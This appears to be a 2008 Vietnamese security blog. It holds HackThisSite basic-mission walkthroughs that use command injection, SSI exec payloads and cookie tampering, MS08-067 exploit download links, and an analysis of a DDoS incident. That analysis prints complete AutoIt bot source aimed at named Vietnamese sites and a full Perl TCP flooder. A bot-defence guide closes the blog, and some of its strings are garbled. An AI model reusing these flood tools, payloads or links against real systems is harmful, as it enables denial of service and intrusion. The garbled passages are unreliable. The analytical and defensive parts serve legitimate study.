Hôm nay có chút thời gian ngồi làm mấy cái hack game một cách chi tiết, post lại đây để các bạn yêu thích hack game tham khảo. Kiến thức của 10 bài web bacsic missions này rất đơn giản nhưng để vượt qua hết cũng cần những kiến thức căn bản. Những bài này tôi đã chơi từ rất lâu rồi hồi 2006 thì phải. Nay ngồi tổng hợp lại cho bài bản big grin . Dân dần tôi sẽ có gắng post đầy đủ và chi tiết các nội dung khác nữa của phần hack game (application, javascript,...)

Kiến thức yêu cầu cho 10 bài này :
- Trình duyệt Firefox (hay một cái tương tự) + một số add-on (cookie manager,...)
- View-source
- html
- javascript
- cookie
- SSI (server side include)
- một tẹo UNIX command
---> có vẻ tạm ổn rồi

Cách tiếp cận : đọc giới thiệu của mỗi mission + đọc gợi ý của mission.

Web bacsic mission 1
http://www.hackthissite.org/missions/basic/1/



View-source của trang web này, bạn sẽ nhìn thấy mật khẩu của nó. Đây là bài đơn giản nhất. Theo đúng tư duy của người lập trình mới.







Web bacsic mission 2
http://www.hackthissite.org/missions/basic/2/


Theo nội dung thông báo:
Network Security Sam set up a password protection script. He made it load
the real password from an unencrypted text file and compare it to the
password the user enters. However, he neglected to upload the password
file...
Sam so sánh mật khẩu không mã hóa từ một file text vơi mật khẩu được nhập vào. Tuy nhiên anh ta quên mất upload file...
--> nếu bạn đánh vào mật khẩu để trống (empty password) thì sao ?




Web bacsic mission 3
http://www.hackthissite.org/missions/basic/3/


View source :








Web bacsic mission 4
http://www.hackthissite.org/missions/basic/4/
Desc : An email script has been set up, which sends the password to the administrator. Requirements: HTML knowledge, an email address

View source :



Để ý thấy rằng mật khẩu sẽ được gửi vào mail webmaster@hulla-baloo.com. --> đổi mail này thành mail của bạn.
Save lại file HTML và sửa lại thành:



Sau đó chạy file đó và nhận được kết quả happy





Web bacsic mission 5
http://www.hackthissite.org/missions/basic/5/
Desc : Similar to the previous challenge, but with some extra security measures in place. Requirements: HTML knowledge, JS or FF, an email address.

Yêu cầu biết : HTML, Javascript, Firefox, email

View-source thấy như sau.



Làm tương tự Mission 4, sẽ nhận được thông báo


Điều này có nghĩa là phí server có kiểm tra referer, referer cho biết form ta gửi đến có phải từ chính trang hackthissite.org hay không ?
Vì ta chạy file từ máy tính nên hiển nhiên referer khác với referer server so sánh. Vậy là sao để qua được cái này ?
Một khái niệm là fake referer hoặc một cái khác là HTTP header manipulation sẽ giúp bạn giải quyết vấn đề này.
Kỹ thuật HTTP header manipulation được sử dụng rất rộng rãi trong web hacking.
Trong trường hợp này bạn cần có một công cụ cho phép thay đổi referer hay cao cấp hơn dùng một công cụ HTTP header manipulation. Referer là một phần của HTTP.
Trước khi dùng công cụ trên thì chưa có referer



Công cụ: refcontrol cho trình duyệt firefox (bạn có thể dùng công cụ khác)
http://www.stardrifter.org/refcontrol/



Sau đó chạy lại file html đã save lúc nãy và bấm nút send mail.








Web bacsic mission 6
http://www.hackthissite.org/missions/basic/6/
Desc : An encryption system has been set up, which uses an unknown algorithm to change the text given. Requirements: Persistence, some general cryptography knowledge.

Phần này là một chút tư duy về mã hóa. Bản thân mission đã đưa ra công cụ mã hóa, bạn cần dùng công cụ này để phát hiện ra quy luận. Để phát hiện ra quy luật thì cần các bộ dữ liệu thử do bạn đưa vào.


Mật khẩu đã mã khóa của tôi là c9f69jim. Quy luật như sau:
ký tự mã hóa = ký tự bạn đầu trừ đi số thứ tự của nó trong dãy mật khẩu, tính theo bảng ASCII.
VD :
c9f69jim
01234567
c-0 9-1 f-2 6-3 9-4 j-5 i-6 m-7 = c8d35ecf
Bảng mã:






Web bacsic mission 7
http://www.hackthissite.org/missions/basic/7/

Desc : The password is hidden in an unknown file, and Sam has set up a script to display a calendar. Requirements: Basic UNIX command knowledge.
Yêu cầu : cơ bản về lệnh của UNIX



Ở đây theo gợi ý thì Sam đã để file chứa mật khẩu cùng thư mục với chương trình hiển thị lịch là cal.pl (chính là ô trên).
Do sam lập trình không cẩn thận anh không lọc biến đầu vào hơn nữa việc hiển thị lịch là chạy lệnh cal của hệ điều hành. Do đó có thể lợi dụng điểm này để chạy thêm các lệnh khác. Ở đây dùng lệnh ls (tức là list) --> ô trống ở trên bạn điền vào && ls sẽ nhận được kết quả sau.




Sau đó chạy file http://www.hackthissite.org/missions/basic/7/k1kh31b1n55h.php




Web bacsic mission 8
http://www.hackthissite.org/missions/basic/8/
Desc : The password is yet again hidden in an unknown file. Sam's daughter has begun learning PHP, and has a small script to demonstrate her knowledge. Requirements: Knowledge of SSI (dynamic html executed by the server, rather than the browser)

Con gái của Sam mới học PHP muốn thực hành nội dung mình đã học là đọc file. Vô tình đã cho phép đọc cả file mật khẩu của ông bố.
Nhưng tên file mật khẩu là gì ? Ở đây Sam dùng SSI (server side include) nên có thể dùng lệnh sau để liệt kê các file và thư mục:
<!--#exec cmd="ls .." -->
<!--#exec cmd="ls /var/www/hackthissite.org/html/missions/basic/8/" -->
Khi đó sẽ nhận được file chứa mật khẩu.
Bài này đơn giản nhưng lại là lỗi phổ biến của các lập trình viên, thường thì các bạn thiếu hiểu biết về hệ thống. Giống như con gái của Sam các bạn lập trình cho đọc file, download file từ server mà không kiểm tra cẩn thận biến đầu vào nên có thể bị lợi dụng đọc file từ server, thậm chí những file cực kỳ quan trọng. Ví dụ trên Linux có thể bị đọc file /etc/passpwd, file /etc/shadow (file này là gì các bạn biết ko ? - đó là file mã hóa mật khẩu của hệ điều hành --> nguy hiểm quá nhỉ). Lỗi này tôi đã gặp rất nhiều lần, trong đó có những sản phẩm thương mại.











Web bacsic mission 9
http://www.hackthissite.org/missions/basic/9/
Desc : The password is again hidden in an unknown file. However, the script that was previously used to find it has some limitations. Requirements: Knowledge of SSI, unix directory structure.



Mission này có gợi ý rất cụ thể. Sử dụng lại công cụ của mission 8, chỉ khác là thư mục lưu file chứa mật khẩu là
/var/www/hackthissite.org/html/missions/basic/9/
<!--#exec cmd="ls /var/www/hackthissite.org/html/missions/basic/9/" -->













Web bacsic mission 10
http://www.hackthissite.org/missions/basic/10/
Desc : This time, the password is encoded straight into the script. Whether the user is allowed in or not is determined by cookies; small pieces of information stored by the browser about the webpage that is being visited. Requirements: Javascript knowledge.

Bài này nội dung là cookie --> bạn nên tập trung vào cái này.
Để hiển thị cookie dùng lệnh :
javascript:alert(document.cookie);



Khi đó bạn sẽ nhìn thấy cookie



Chương trình này chứng thực bằng cookie, biến chứng thực là : level10_authorized
hiện tại bằng no --> đổi lại = yes là ok.

làm sao đổi lại ? trên trình duyệt đánh lệnh:
javascript:alert(document.cookie="level10_authorized=yes");





Sau đó đánh bất kỳ ký tự nào vào ok passuword --> ok




Tôi sẽ tiếp tục cập nhật các nội dung khác.

Have fun!
Chuyên mục: Bảo mật | Hack | war game


Chi tiết lỗi :
http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx

Hiện tại lỗi này đã có mã khai thác, rất nguy hiểm.
Trên Milw0rm cũng đã có PoC.
http://www.milw0rm.com/exploits/6841
http://www.milw0rm.com/exploits/6824
MS08-067 Exploit for CN by EMM

exploit:
http://milw0rm.com/sploits/2008-MS08-067.rar

# milw0rm.com [2008-10-26]
Ảnh demo (PoC):


Mã khai thác sử dụng cổng 445 của SMB để gửi payload.
Cách xử lý :
- Update ngay
- Nếu máy ko có bản quyền ? big grin --> chặn cổng 445 vào, tắt SMB service đi

Goodluck!
Chuyên mục: Bảo mật | Windows


Thông tin về vụ DDoS bkav.com.vn thì chắc ai cũng biết, đã có một bài viết về việc này.
http://vietnamsecurity.googlepages.com/bkav

Vậy là sao mà LliKil bị bắt ?
Theo tôi nghĩ thì việc bắt được LliKil không có gì khó, theo tìm hiểu của tôi LlyKil không giấu các thông tin cá nhân khi thực hiện tấn công. Có thể LlyKil nghĩ đó chỉ là một trò chơi ?
Bắt đầu bằng việc phần tích một vài file code dùng để tấn công (tìm không khó lắm)

#NoTrayIcon
#region
#AutoIt3Wrapper_res_comment=jhg
#AutoIt3Wrapper_res_description=jhgjhg
#AutoIt3Wrapper_res_fileversion=jhgjhg
#AutoIt3Wrapper_res_legalcopyright=jhgjhg
#endregion
$PROCESS = ProcessList("chem.exe")
If $PROCESS[0][0] > 3 Then Exit
FileCopy(@ScriptFullPath, @SystemDir & "\chem.exe", 1)
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Run", "chem", "REG_SZ", @SystemDir & "\chem.exe")
$1 = IniRead(@SystemDir & "\chem.ini", "1", "1", "")
IniWrite(@SystemDir & "\chem.ini", "1", "1", $1 + 1)
If $1 = 2 Then
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Wi ndows\CurrentVersion\Run", "chem")
EndIf
TCPStartup()
Dim $TIN[3]
$TIN[0] = "bkav.com.vn"
$TIN[1] = "bkav.com.vn"
$TIN[2] = "bkav.com.vn"

While 1
$NGAUNHIEN = Random(0, 2, 1)
$DATASIZE = StringLen("")
$HOST = $TIN[$NGAUNHIEN]
$PAGE = "/home.aspx"
$SOCKET = TCPConnect(TCPNameToIP($HOST), 80)
$COMMAND = "POST " & $PAGE & " HTTP/1.1" & @CRLF
$COMMAND &= "Host: " & $HOST & @CRLF
$COMMAND &= "User-Agent: top1.vn" & @CRLF
$COMMAND &= "Connection: close" & @CRLF
$COMMAND &= "Referer: http://top1.vn" & @CRLF
$COMMAND &= "Content-Type: application/x-www-form-urlencoded" & @CRLF
$COMMAND &= "Content-Length: " & $DATASIZE & @CRLF
$COMMAND &= "Authorization: Basic QG11dmlldDpAbXV2aWV0" & @CRLF
$COMMAND &= "" & @CRLF
TCPSend($SOCKET, $COMMAND)
WEnd


Một đoạn code khác :
#NoTrayIcon
#region
#AutoIt3Wrapper_res_comment=jhg
#AutoIt3Wrapper_res_description=jhgjhg
#AutoIt3Wrapper_res_fileversion=jhgjhg
#AutoIt3Wrapper_res_legalcopyright=jhgjhg
#endregion
$PROCESS = ProcessList("khpt.exe")
If $PROCESS[0][0] > 3 Then Exit
FileCopy(@ScriptFullPath, @SystemDir & "\khpt.exe", 1)
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Run", "khpt", "REG_SZ", @SystemDir & "\khpt.exe")
$1 = IniRead(@SystemDir & "\khpt.ini", "1", "1", "")
IniWrite(@SystemDir & "\khpt.ini", "1", "1", $1 + 1)
If $1 = 5 Then
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Wi ndows\CurrentVersion\Run", "khpt")
EndIf
TCPStartup()
Dim $TIN[3]
$TIN[0] = "khpt.vn"
$TIN[1] = "khpt.vn"
$TIN[2] = "khpt.vn"
While 1
$NGAUNHIEN = Random(0, 2, 1)
$DATASIZE = StringLen("")
$HOST = $TIN[$NGAUNHIEN]
$PAGE = "/forum//index.php"
$SOCKET = TCPConnect(TCPNameToIP($HOST), 80)
$COMMAND = "POST " & $PAGE & " HTTP/1.1" & @CRLF
$COMMAND &= "Host: " & $HOST & @CRLF
$COMMAND &= "User-Agent: LlyKil" & @CRLF
$COMMAND &= "Connection: close" & @CRLF
$COMMAND &= "Referer: http://google.com" & @CRLF
$COMMAND &= "Content-Type: application/x-www-form-urlencoded" & @CRLF
$COMMAND &= "Content-Length: " & $DATASIZE & @CRLF
$COMMAND &= "Authorization: Basic QG11dmlldDpAbXV2aWV0" & @CRLF
$COMMAND &= "" & @CRLF
TCPSend($SOCKET, $COMMAND)
WEnd
Đoạn này có thông tin rất cụ thể về LliKil
$COMMAND &= "User-Agent: LlyKil" & @CRL

Hành động của LlyKil thực ra đã bị nhiều hệ thống ghi nhận và phát hiện. Các đoạn mã LlyKil viết bằng AutoIt3.






Trên hình ảnh đã mô tả rõ đặc tính của các chương trình do LlyKil viêt ra : như có kết nối qua IRC kênh #LlyKil,... (điều này sẽ thấy rõ hơn trong video LlyKil tự quay khi DDoS truongton.net).

Một trong các cách phán toán bot là LlyKil viết chương trình crack BKAV Pro và tung lên mạng (crack dc hay ko thì tôi không chắc big grin )




Một trong số các site chứa mã DDoS hiện nay vẫn tồn tại đó là :
http://diemhen.net/llykil/Server.php
http://diemhen.net/llykil/Update.exe




LlyKil từng lưu trữ các dữ liệu và công cụ phục vụ tấn công trên nhiều site trong đó có trang của chính LlyKil http://llykil.net/
Hình ảnh trang chu trang nay do google cache lại được:



Hình ảnh trên một server khác, nơi được dùng để chứa đồ nghề.




Với những dâu vết để lại như vậy cộng thêm log file của máy chủ thì không khó khăn lắm để có thể nhận ra ai là chủ các cuộc tấn công DDoS trong thời gian qua.
LlyKil đã bị bắt là tấm gương cho các bạn đang đi theo con đường này.
DDoS là một hành vi xấu, ngay cả với giới hacker DDoS được coi là "chơi bẩn". Tuy nhiên để thực hiện được các vụ DDoS cũng đòi hỏi có hiểu biết nhất định. Để chống DDoS mà không biết về DDoS thì thật là khó. Tôi hy vọng những bạn có hiểu biết về DDoS không dùng vào mục đích tấn công.

Bonus:
Link download video LlyKil thực hiện DDoS
http://rapidshare.com/files/156695449/BotNet.exe.html

Goodluck!
Chuyên mục: Bảo mật | Hack


23 October 2008
@ 12:17
(Tác giả:Phạm Đức Hải)
Phần 1 : DDoS bằng DDoS FlashX
Tiếp theo phần hôm qua tôi đã cập nhật, hôm nay tôi có bổ xung thêm các thông tin cụ thể hơn: ai đã tiến hành DDoS, code do ai viết,...

Một chố lưu chữ mà kẻ tấn công để là http://worldprisource.com
các bạn hãy để ý hình chỗ cái ảnh quay quay, đó chính là file flash chứa đoạn mã DDoS từ bên http://phoxitin.com/flashx/index.html

Một số site chứa mã để DDoS:
http://a2thanthuong.com/3fviet/post.php
http://a2thanthuong.com/3fviet/
http://a2thanthuong.com/index --> Ảnh của DCH (dinhcaohack)




DCH có nghĩa là dinhcaohack (đỉnh cao hack) --> Một thành viên nhóm Vniss, HVA.
Ảnh sau đây không biết có phải của DCH ko :d ?



Theo thông tin tên miền a2thanthuong.com , khả năng là DCH là chủ sở hữu tên miền này.



Người chủ sở hữu địa chỉ mail  vnsdks@gmail.com là BVQ



Một trong các đoạn code DCH đã viết là DCH Flood Perl version 1.0

DCH Flood Perl version 1.0
--------------------------------------------------------------------------------
Code:
#!/usr/bin/perl
################################################## ####
# Dinhcaohack DdOs 1.0
# Written by Dinhcaohack # Develop (TCP Flooder////Apache Flooder)'s mind
# UK - Manchester 15/05/2006 ... sad night
################################################## ####
use IO::Socket;
print "Ke thu`:\n> ";
$victim = <STDIN>;
chop ($victim);
if ($victim eq "") {
die "Sai roai`!\n";
}
print "Enter Port to flood :\n> ";
$port = <STDIN>;
chop ($port);
if ($port eq "") {
die "Sai roai`!\n";
}
print "Enter times to F*** (more than 1000):\n> ";
$loop = <STDIN>;
chop ($loop);
if ($loop eq "") {
die "Invalid Input!\n";
}

$dch = "Dinhcaohack";
print "[+] Kie^?m tra su. to^`n ta.i cua? victim ...\n";
$string = inet_aton($victim) || die "[+] Host kho^ng to^n` tai. or not connect to the Internet...?\n";
# Kho^ng dung` -w option trong ca^u le^.nh perl
print "[+] Ok. $target to^n` ta.i ...\n";
print "[+] Connecting to $victim voi' $port...\n";
print " +============================+\n";;
print " | DinhcaohaKCoolAttacker v1.0|\n";
print " | Written By DinhcaohaK |\n";
print " | Never use it ... |\n";
print " +============================+\n";;
$n = "99999";
die "Cannot Connect .. try again\n" if !$n;
print "Connecting...\n\n";
for ($i = 0; $i <= $loop; $i++){
$socket = IO::Socket::INET->new(PeerAddr => $victim, PeerPort => $port, Proto => "tcp", Type => SOCK_STREAM) or die "Socket error.\n";
$typeattack .= $dch x $n;
print "Attacking...";
print $socket "$typeattack\n";
print "OK\n\n";
close($socket);
print "Sending request $i\n";
$sox = IO::Socket::INET->new(
Proto=>"tcp",
PeerPort=>"$port",
PeerAddr=>"$victim"
);
sleep 1;
print $sox $request;
sleep 1;
close $sox;
};
print "\n\n";
print " Demo ver. ";
exit;


Hic, share xong roài mà anh em dùng nghịch lung tung là DCH bùn lắm nhá
dinhcaohack(VNISS)

Có lẽ tạm thời thế đã, tôi cũng không có bình luận gì thêm. Các bạn nghĩ thế nào ? DCH nghĩ thế nào ?

Chuyên mục: Bảo mật | Hack


22 October 2008
@ 03:23
(Tác giả:Phạm Đức Hải)
Gần đây nạn DDoS trỏ nên phổ biến, nhiều bạn trẻ còn thấy đây là một trò thú vị. Muốn "chơi" nhau thì sài DDoS sad

Tôi nhận được thông tin này từ một người bạn. Tôi có một vài hình ảnh và phân tích đơn giản để các bạn được rõ.
Đầu tiên kẻ xấu kiểm soát 1 số site có lượng truy cập lớn hay một số lượng lớn các site, càng nhiều càng tốt.
Thậm chí nhiều bạn còn lấy chính site của mình để DDoS trang khác. Sau đó soạn 1 file flash đơn giản, nhiệm vụ của file flash này là gửi yêu cầu liên tục đến site mục tiêu.

Ví dụ, site mục tiêu là site aptech.ac.vn



Site này bị DDoS từ nhiều site khác trong đó có : http://phoxitin.com



View-source thì thấy code như sau:



Các file làm nhiệm vụ DoD đó là get.swf, post.swf, post.php. Nội dung từng file như sau:



File chứa tên mục tiêu nằm trong 2 file ddos.txt và ddos2.txt



Link file các file flash này có thể được để như 1 điểm ảnh trên các site dùng để tấn công. Nó sẽ gửi các yêu cầu liên tục đến site mục tiêu.
Số lượng người truy nhập các site các lớn thì mục tiêu càng nhanh bị hạ gục. File Flash này nhiều khi còn thiết kế để khi thành viên của các site dùng để tấn công gửi yêu cầu đến site mục tiêu, khi đó không thể xác định được đâu là nguồn gốc của tấn công, vì có rất nhiều IP.


Còn rất nhiều thông tin về DDoS tôi sẽ cập nhật khi có thời gian happy
Chuyên mục: Bảo mật | Hack


16 October 2008
@ 11:09
(Tác giả:Phạm Đức Hải)

    1. Phòng chống bot và botnet

Phòng thử chống lại việc lây nhiễm và tấn công của bot chia làm 3 nội dung chính:


- Phòng ngừa: người sử dụng, những người quản trị hệ thống nên hiểu cơ chế lây nhiễm và phát tán các bot để có các phòng ngừa. Sử dụng các chương trình phát hiện, tiêu diệt virus, mã độc,…sử dụng hệ thống tường lửa, các hệ thống phát hiện xâm nhập,...

- Phát hiện: có thể phát hiện việc xuất hiện của bot bằng cách giám sát các tiến trình, giám sát băng thông và gói tin trong mạng. Xem các cảnh báo, log file từ các hệ thống cảnh báo, tường lửa,…

- Xử lý: xử lý khi phát hiện có bot, xử lý khi bị botnet tấn công


Đối với người dùng thông thường (Dạng Home user)

Phòng ngừa :

- Tuân thủ các chính sách bảo mật

- Cập nhật các bản vá các phần mềm trên máy

- Tham khảo thông tin cập nhật tại cert.org phần “Home Network Security” http://www.cert.org/tech_tips/home_networks.html đây là những nội dung rất căn bản và hữu ích..

- Bật chế độ tự động cập nhật đối với hệ điều hành và phần mềm ứng dụng [theo CERT, 2001]

- Thao tác an toàn khi truy nhập mail, web, chat,… như không lưu mật khẩu..

- Sử dụng và cập nhật thường xuyên phần mềm diệt virus phổ biến.

- Sử dụng tường lửa và thiết lập các chế độ hợp lý.


Phát hiện :

- Cổng mặc định của IRC là 6667, cổng này có thể bị thay đổi. Dùng lệnh netstat – an trên cả Windows và Linux để kiểm tra các cổng ra vào mà máy tính đang sử dụng.

Ví dụ :

C:/windows> netstat – an

TCP your.mac hine.ip remote.irc.server.ip :6667 ESTABLISHED

Như trên thì có nghĩa là có kết nối IRC đến remote.irc.server.ip qua cổng 6667.

Các server IRC có thể lắng nghe trên các cổng 6000- 7000A169 4E

Đây cũng là cách để phát hiện các phần mềm gián điệp khác.

- Giám sát băng thông, gói tin trên mạng, các cổng kết nối. Có thể có một vài dấu hiệu như mạng chậm, tỉ lệ gói tin gửi đi và nhận được khác thường,…

- Phần mềm chống virus và phần mềm gián điệp có thể phát hiện ra chúng.

- Trong một số trường hợp có thể dùng các chương trình quét trực tuyến của các hang bảo mật lớn. [theo SYMANTEC]


Xử lý:


- Ngắt kết nối mạng của máy bị nhiễm mã độc, để tránh nguy cơ ảnh hưởng đến các máy cùng mạng.

- Cập nhật phần mềm diệt virus, kiểm tra xem nhà cung cấp hệ điều hành, phần mềm có bản vá hay không ?

- Nếu các chương trình diệt virus không phát hiện ra có thể dùng các công cụ hiển thị các tiến trình của máy tính để phát hiện và diệt bằng tay.

- Nếu trên máy có chứa các thông tin nhay cảm như tài khoản ngân hàng thì cần báo ngay cho nơi quản lý thẻ để tạm ngưng sử dụng hoặc nếu là mật khẩu thì cần đổi lại ngay.

- Nếu không xử lý được thì cần nhờ người có kỹ thuật xử lý.


Đối với quản trị hệ thống

Phòng chống:

- Áp dụng các chính sách bảo mật thông dụng.

- Theo hướng dẫn của nhà cung cấp hệ điều hành, phần mềm ứng dụng nâng cấp và cập nhật bản vá.

- Theo dõi thông tin về các lỗ hổng bảo mật trên các trang bảo mật uy tín, nhận thông tin bảo mật từ các mailing list bugtraq.

- Bật chế độ tự động cập nhật đối với hệ điều hành và phần mềm ứng dụng.

- Thao tác an toàn khi truy nhập mail, web, chat,… như không lưu mật khẩu.

- Sử dụng và cập nhật thường xuyên phần mềm diệt virus phổ biến.

- Sử dụng tường lửa và thiết lập các chế độ hợp lý.

- Cài đặt các phần mềm để giám sát hệ thống, phân tích log file hoạt động và truy nhập của hệ thống.

Phát hiện

- Sử dụng các kỹ thật như đối với người dùng thông thường.

- Thường xuyên giám sát log của hệ thống sử dụng, log của hệ thống giám sát, có cơ chế cảnh báo tự động cho người quản trị như gửi mail,…

- Giám sát mạng, dùng tường lửa chặn các cổng không cần thiết. một tiện ích nhỏ cho phép xem các cổng đóng mở ngoài netstat là fport của McAfee:

http://www.foundstone.com/knowledge/proddesc/fport.html

- Phân tích log của phần mềm bắt gói tin có thể phát hiện ra server và kênh bí mật của kẻ tấn công sử dụng, biết được mật khẩu kết nối IRC mã hóa hay không mã hóa.

- Tiến hành quét toàn bộ các máy tình nghi có chứa mã độc, rà soát, tìm và dỡ bỏ backdoor, rootkit.

- Tham khảo them tài liệu của Dave Dittrich, University of Washington

o “Dissecting Distributed Malware Networks “

url: http://security.isu.edu/ppt/pdfppt/Core02.pdf

o Security Incidents: World-wide distributed DoS and "warez" bot networks (fwd)::Security focus mailing list Date: May 03 2002

url: http://lists.insecure.org/lists/incidents/2002/May/0026.html


Xử lý :

- Sử dụng các kỹ thật như đối với người dùng thông thường.

- Cô lập các máy bị nhiễm sang một phân mạng riêng biệt.

- Lưu trữ và giữ an toàn dữ liệu, logs file của Firewalls, Máy chủ Mail , IDS, DHCP, proxy...

- Xử dụng phần mền bắt gói tin để phân tichs cách thức hoạt động của bot, phát hiện các máy bị lây nhiễm, nguồn gốc của nơi phát lệnh,…

- Liên hệ các trung tâm xử lý sự cố máy tính, các trung tâm an ninh mạng để cùng phối hợp giải quyết.


    1. Xu hướng phát triển của Bot và Botnet

Sử dụng mạng IRC để điều khiển zombie vẫn là một xu hướng lớn trong việc phát hiển các công cụ DDoS của kẻ xấu. Trong tài liệu [CERT, DOS_TRENDS] “Trends in Denial oFf8BS5er0v6icEe4 Att6a9ck4ETechnology” George M. Weaver & Kevin J. Houle đến từ CERT® Coordination Center trình bày rất rõ rang việc xây dụng và điều khiển các botnet sử dụng IRC. Tôi chỉ đưa lại một số điểm chính:.


Khả năng tồn tại – Đây là một vấn đề lớn được các kẻ tấn công rât quan tâm vì chi chí và công sức bỏ ra để xây dụng một botnet lớn là rất lớn. Giao thức Internet Relay Chat là một giao thức phổ biến và được sử dụng rộng rãi. Các mạng IRC công cộng lớn cùng với các dịch vụ tên miền động dyndns.com & no -ip.com được tận dụng làm cho các kênh sử dụng vào mục địch xấu khó bị phát hiện và dễ tùy biến đối với kẻ tấn công. Botnet dựa trên IRC khó bị phát hiện, giám sát và tiêu diệt. Do đó DDoS bằng IRC botbet nguy hiểm hơn DoS truyền thống rất nhiều.


Sự lây nhiễm và lan truyền— số lượng botnet ngày tăng, đồng thời với nó số nút (zombie) của botnet cũng tăng lên. Các botnet ngày càng tinh vi hơn. Các công cụ phát tán cũng tinh vi và nguy hiểm hơn. Đặc biệt là các công cu được phát triển cho phép tự động phát hiện lỗ hổng và lây nhiễm mã độc.


Mục đích sử dụng -- mục đích chính vẫn là DDoS, Spam mail, lấy chộm thông tin cá nhân, làm hệ thống chia sẻ file, phần mềm,…


(còn nữa)

Chuyên mục: Bảo mật